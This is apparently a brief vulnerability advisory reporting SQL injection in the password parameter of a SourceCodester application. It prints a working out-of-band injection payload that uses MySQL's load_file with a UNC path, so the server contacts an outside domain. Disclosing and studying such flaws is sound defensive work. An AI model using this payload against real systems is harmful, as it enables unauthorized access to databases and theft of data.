## Author: nu11secur1ty
## Vendor: https://www.sourcecodester.com/user/257130/activity

## Description:
The `password` parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvik.stupid.com\\aej'))+'
was submitted in the password parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed.

STATUS: HIGH Vulnerability - CRITICAL
